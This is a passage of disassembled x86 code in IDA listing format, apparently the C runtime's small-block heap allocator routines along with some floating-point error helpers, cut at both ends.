		push	3Fh
		pop	esi

loc_41B784:				; CODE XREF: sub_41B592+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B7D3
		cmp	esi, 20h
		jnb	short loc_41B7AF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B7D0
; ---------------------------------------------------------------------------

loc_41B7AF:				; CODE XREF: sub_41B592+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B7D0:				; CODE XREF: sub_41B592+214j
					; sub_41B592+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41B7D3:				; CODE XREF: sub_41B592+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B7FA
		push	3Fh
		pop	esi

loc_41B7FA:				; CODE XREF: sub_41B592+1DDj
					; sub_41B592+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B877
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B84E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B841
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41B841:				; CODE XREF: sub_41B592+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41B873
; ---------------------------------------------------------------------------

loc_41B84E:				; CODE XREF: sub_41B592+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B864
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41B864:				; CODE XREF: sub_41B592+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41B873:				; CODE XREF: sub_41B592+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41B877:				; CODE XREF: sub_41B592+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41B880:				; CODE XREF: sub_41B592+1A2j
					; sub_41B592:loc_41B740j
		push	1
		pop	eax

loc_41B883:				; CODE XREF: sub_41B592+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B888	proc near		; CODE XREF: sub_41ACE4+41p
					; sub_41BB80:loc_41BD4Fp
		cmp	dword_4397D0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B89C
		mov	esi, offset off_4397C0
		jmp	short loc_41B8B9
; ---------------------------------------------------------------------------

loc_41B89C:				; CODE XREF: sub_41B888+Bj
		push	2020h
		push	0
		push	dword_48B684
		nop
		call	near ptr 2710000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41B9C5

loc_41B8B9:				; CODE XREF: sub_41B888+12j
		mov	ebp, dword_4241B4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41B9AE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41B9A0
		mov	eax, offset off_4397C0
		cmp	esi, eax
		jnz	short loc_41B918
		cmp	off_4397C0, 0
		jnz	short loc_41B908
		mov	off_4397C0, eax

loc_41B908:				; CODE XREF: sub_41B888+79j
		cmp	off_4397C4, 0
		jnz	short loc_41B92D
		mov	off_4397C4, eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------

loc_41B918:				; CODE XREF: sub_41B888+70j
		mov	[esi], eax
		mov	eax, off_4397C4
		mov	[esi+4], eax
		mov	off_4397C4, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41B92D:				; CODE XREF: sub_41B888+87j
					; sub_41B888+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41B94F:				; CODE XREF: sub_41B888+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B94F
		push	ebx
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch

loc_41B978:				; CODE XREF: sub_41B888+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B99C
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B978
; ---------------------------------------------------------------------------

loc_41B99C:				; CODE XREF: sub_41B888+F7j
		mov	eax, esi
		jmp	short loc_41B9C7
; ---------------------------------------------------------------------------

loc_41B9A0:				; CODE XREF: sub_41B888+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 286061Ah
		nop

loc_41B9AE:				; CODE XREF: sub_41B888+4Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41B9C5
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 2700000h

loc_41B9C5:				; CODE XREF: sub_41B888+2Bj
					; sub_41B888+12Cj
		xor	eax, eax

loc_41B9C7:				; CODE XREF: sub_41B888+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B888	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9CC	proc near		; CODE XREF: sub_41BA22+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 286061Ah
		cmp	off_43B7E0, esi
		jnz	short loc_41B9F1
		mov	eax, [esi+4]
		mov	off_43B7E0, eax

loc_41B9F1:				; CODE XREF: sub_41B9CC+1Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41BA19
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_48B684
		nop
		call	near ptr 2700000h
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41BA19:				; CODE XREF: sub_41B9CC+2Bj
		or	dword_4397D0, 0FFFFFFFFh
		pop	esi
		retn
sub_41B9CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA22	proc near		; CODE XREF: sub_41BB3B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_4397C4
		push	edi

loc_41BA2F:				; CODE XREF: sub_41BA22+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41BACD
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41BA48:				; CODE XREF: sub_41BA22+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41BA89
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 286061Ah
		test	eax, eax
		jz	short loc_41BA89
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_48A07C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41BA7E
		cmp	eax, edi
		jbe	short loc_41BA81

loc_41BA7E:				; CODE XREF: sub_41BA22+56j
		mov	[esi+0Ch], edi

loc_41BA81:				; CODE XREF: sub_41BA22+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41BA96

loc_41BA89:				; CODE XREF: sub_41BA22+2Cj
					; sub_41BA22+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41BA48

loc_41BA96:				; CODE XREF: sub_41BA22+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41BACD
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41BACD
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41BAAD:				; CODE XREF: sub_41BA22+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41BABE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41BAAD

loc_41BABE:				; CODE XREF: sub_41BA22+8Ej
		cmp	edx, 400h
		jnz	short loc_41BACD
		push	ecx
		call	sub_41B9CC
		pop	ecx

loc_41BACD:				; CODE XREF: sub_41BA22+11j
					; sub_41BA22+7Dj ...
		cmp	esi, off_4397C4
		jz	short loc_41BADF
		cmp	[ebp+arg_0], 0
		jg	loc_41BA2F

loc_41BADF:				; CODE XREF: sub_41BA22+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAE4	proc near		; CODE XREF: sub_417C3B+3Ap
					; sub_41944F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_4397C0
		push	esi
		mov	ecx, edx

loc_41BAF0:				; CODE XREF: sub_41BAE4+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41BAFA
		cmp	eax, [ecx+14h]
		jb	short loc_41BB02

loc_41BAFA:				; CODE XREF: sub_41BAE4+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41BB37
		jmp	short loc_41BAF0
; ---------------------------------------------------------------------------

loc_41BB02:				; CODE XREF: sub_41BAE4+14j
		test	al, 0Fh
		jnz	short loc_41BB37
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41BB37
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41BB37:				; CODE XREF: sub_41BAE4+1Aj
					; sub_41BAE4+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BAE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB3B	proc near		; CODE XREF: sub_417C3B+4Dp
					; sub_41944F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41BB7F
		inc	dword_48A07C
		cmp	dword_48A07C, 20h
		jnz	short locret_41BB7F
		push	10h
		call	sub_41BA22
		pop	ecx

locret_41BB7F:				; CODE XREF: sub_41BB3B+2Bj
					; sub_41BB3B+3Aj
		retn
sub_41BB3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB80	proc near		; CODE XREF: sub_417BC7+4Ap
					; sub_41944F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43B7E0
		push	edi

loc_41BB8E:				; CODE XREF: sub_41BB80+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41BC39
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41BBF3

loc_41BBB9:				; CODE XREF: sub_41BB80+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41BBDC
		cmp	[edi+4], ebx
		jbe	short loc_41BBDC
		push	ebx
		push	ecx
		push	eax
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41BBDC:				; CODE XREF: sub_41BB80+40j
					; sub_41BB80+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41BBB9
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------

loc_41BBF3:				; CODE XREF: sub_41BB80+37j
		mov	ebx, [ebp+arg_0]

loc_41BBF6:				; CODE XREF: sub_41BB80+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41BC3C

loc_41BC09:				; CODE XREF: sub_41BB80+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41BC28
		cmp	[edi+4], ebx
		jbe	short loc_41BC28
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	[edi+4], ebx

loc_41BC28:				; CODE XREF: sub_41BB80+8Dj
					; sub_41BB80+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41BC09
		jmp	short loc_41BC3C
; ---------------------------------------------------------------------------

loc_41BC39:				; CODE XREF: sub_41BB80+14j
		mov	ebx, [ebp+arg_0]

loc_41BC3C:				; CODE XREF: sub_41BB80+87j
					; sub_41BB80+B7j
		mov	esi, [esi]
		cmp	esi, off_43B7E0
		jz	short loc_41BC5B
		jmp	loc_41BB8E
; ---------------------------------------------------------------------------

loc_41BC4B:				; CODE XREF: sub_41BB80+54j
					; sub_41BB80+A3j
		mov	off_43B7E0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BD83
; ---------------------------------------------------------------------------

loc_41BC5B:				; CODE XREF: sub_41BB80+C4j
		mov	eax, offset off_4397C0
		mov	edi, eax

loc_41BC62:				; CODE XREF: sub_41BB80+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41BC6E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41BC7A

loc_41BC6E:				; CODE XREF: sub_41BB80+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BD4F
		jmp	short loc_41BC62
; ---------------------------------------------------------------------------

loc_41BC7A:				; CODE XREF: sub_41BB80+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41BCA9

loc_41BC98:				; CODE XREF: sub_41BB80+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41BCA9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41BC98

loc_41BCA9:				; CODE XREF: sub_41BB80+116j
					; sub_41BB80+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 286077Eh
		cmp	eax, esi
		jnz	loc_41BD81
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_417330
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41BD10
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41BCE6:				; CODE XREF: sub_41BB80+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41BCE6

loc_41BD10:				; CODE XREF: sub_41BB80+15Ej
		mov	off_43B7E0, edi
		lea	eax, [edi+2018h]

loc_41BD1C:				; CODE XREF: sub_41BB80+1A8j
		cmp	ecx, eax
		jnb	short loc_41BD2C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41BD2A
		add	ecx, 8
		jmp	short loc_41BD1C
; ---------------------------------------------------------------------------

loc_41BD2A:				; CODE XREF: sub_41BB80+1A3j
		cmp	ecx, eax

loc_41BD2C:				; CODE XREF: sub_41BB80+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------

loc_41BD4F:				; CODE XREF: sub_41BB80+F2j
		call	sub_41B888
		test	eax, eax
		jz	short loc_41BD81
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43B7E0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------

loc_41BD81:				; CODE XREF: sub_41BB80+143j
					; sub_41BB80+1D6j
		xor	eax, eax

loc_41BD83:				; CODE XREF: sub_41BB80+D6j
					; sub_41BB80+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD88	proc near		; CODE XREF: sub_41BB80+4Ap
					; sub_41BB80+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BDCD
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BDBC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BDC5
; ---------------------------------------------------------------------------

loc_41BDBC:				; CODE XREF: sub_41BD88+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BDC5:				; CODE XREF: sub_41BD88+32j
		lea	eax, [edi+8]
		jmp	loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BDCD:				; CODE XREF: sub_41BD88+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BDD6
		mov	eax, esi

loc_41BDD6:				; CODE XREF: sub_41BD88+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BE20

loc_41BDDD:				; CODE XREF: sub_41BD88+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BE13
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41BDE9:				; CODE XREF: sub_41BD88+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BDF2
		inc	ebx
		inc	esi
		jmp	short loc_41BDE9
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BD88+64j
		cmp	esi, edx
		jnb	short loc_41BE44
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BE00
		mov	[ecx+4], esi
		jmp	short loc_41BE0C
; ---------------------------------------------------------------------------

loc_41BE00:				; CODE XREF: sub_41BD88+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BEA5

loc_41BE0C:				; CODE XREF: sub_41BD88+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BE18
; ---------------------------------------------------------------------------

loc_41BE13:				; CODE XREF: sub_41BD88+59j
		movzx	esi, bl
		add	eax, esi

loc_41BE18:				; CODE XREF: sub_41BD88+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BDDD

loc_41BE20:				; CODE XREF: sub_41BD88+53j
		lea	esi, [ecx+8]

loc_41BE23:				; CODE XREF: sub_41BD88+EBj
					; sub_41BD88+F2j
		cmp	esi, edi
		jnb	short loc_41BEA5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BEA5
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BE75
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41BE3B:				; CODE XREF: sub_41BD88+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BE65
		inc	ebx
		inc	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------

loc_41BE44:				; CODE XREF: sub_41BD88+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE55
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BE5E
; ---------------------------------------------------------------------------

loc_41BE55:				; CODE XREF: sub_41BD88+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41BE5E:				; CODE XREF: sub_41BD88+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BE65:				; CODE XREF: sub_41BD88+B6j
		cmp	eax, edx
		jnb	short loc_41BE7C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BEA5
		mov	esi, ebx
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------

loc_41BE75:				; CODE XREF: sub_41BD88+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------

loc_41BE7C:				; CODE XREF: sub_41BD88+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE8D
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BE96
; ---------------------------------------------------------------------------

loc_41BE8D:				; CODE XREF: sub_41BD88+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BE96:				; CODE XREF: sub_41BD88+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41BE9B:				; CODE XREF: sub_41BD88+40j
					; sub_41BD88+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BEA7
; ---------------------------------------------------------------------------

loc_41BEA5:				; CODE XREF: sub_41BD88+7Ej
					; sub_41BD88+9Dj ...
		xor	eax, eax

loc_41BEA7:				; CODE XREF: sub_41BD88+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BD88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEAC	proc near		; CODE XREF: sub_41944F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BEE6
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BEE6:				; CODE XREF: sub_41BEAC+26j
		jnb	short loc_41BF4D
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BF4D
		lea	eax, [ecx+edx]

loc_41BEFB:				; CODE XREF: sub_41BEAC+59j
		cmp	eax, esi
		jnb	short loc_41BF09
		cmp	byte ptr [eax],	0
		jnz	short loc_41BF07
		inc	eax
		jmp	short loc_41BEFB
; ---------------------------------------------------------------------------

loc_41BF07:				; CODE XREF: sub_41BEAC+56j
		cmp	eax, esi

loc_41BF09:				; CODE XREF: sub_41BEAC+51j
		jnz	short loc_41BF4D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BF41
		cmp	esi, eax
		jbe	short loc_41BF41
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BF38
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BF33

loc_41BF2C:				; CODE XREF: sub_41BEAC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BF2C

loc_41BF33:				; CODE XREF: sub_41BEAC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF38:				; CODE XREF: sub_41BEAC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41BF41:				; CODE XREF: sub_41BEAC+68j
					; sub_41BEAC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41BF46:				; CODE XREF: sub_41BEAC+38j
		mov	[ebp+var_4], 1

loc_41BF4D:				; CODE XREF: sub_41BEAC:loc_41BEE6j
					; sub_41BEAC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BEAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41BF55(int,int,double,int)

sub_41BF55	proc near		; CODE XREF: sub_417CA4+51p
					; sub_417DEB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43BF38, 0
		jnz	short loc_41BF8A
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41C50A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BF8A:				; CODE XREF: sub_41BF55+Aj
		push	0FFFFh
		mov	dword_48A014, 21h
		push	[ebp+arg_C]
		call	sub_41C77D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41BF55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BFA8(int,int,double,double,int)

sub_41BFA8	proc near		; CODE XREF: sub_417CA4:loc_417D67p
					; sub_417DEB:loc_417EAEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BFE6
		lea	eax, [ebp+arg_10]
